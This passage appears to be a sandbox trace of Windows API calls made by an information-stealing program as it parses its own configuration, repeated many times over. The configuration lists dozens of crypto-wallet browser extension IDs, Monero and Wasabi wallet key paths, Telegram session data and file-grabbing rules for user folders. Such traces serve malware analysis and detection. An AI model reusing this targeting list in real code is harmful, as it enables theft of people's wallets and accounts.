Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.306] lstrlenW (lpString="mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3490 [0266.306] LocalAlloc (uFlags=0x40, uBytes=0x1bc4) returned 0x6f4830 [0266.306] StrCpyW (in: psz1=0x7038b8, psz2="MyMonero" | out: psz1="MyMonero") returned="MyMonero" [0266.306] LocalFree (hMem=0x6f4830) returned 0x0 [0266.306] StrStrW (lpFirst="*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.307] lstrlenW (lpString="mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3490 [0266.307] LocalAlloc (uFlags=0x40, uBytes=0x1bc4) returned 0x6f4830 [0266.307] StrCpyW (in: psz1=0x6ef5a0, psz2="*" | out: psz1="*") returned="*" [0266.307] LocalFree (hMem=0x6f4830) returned 0x0 [0266.307] StrStrW (lpFirst="*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 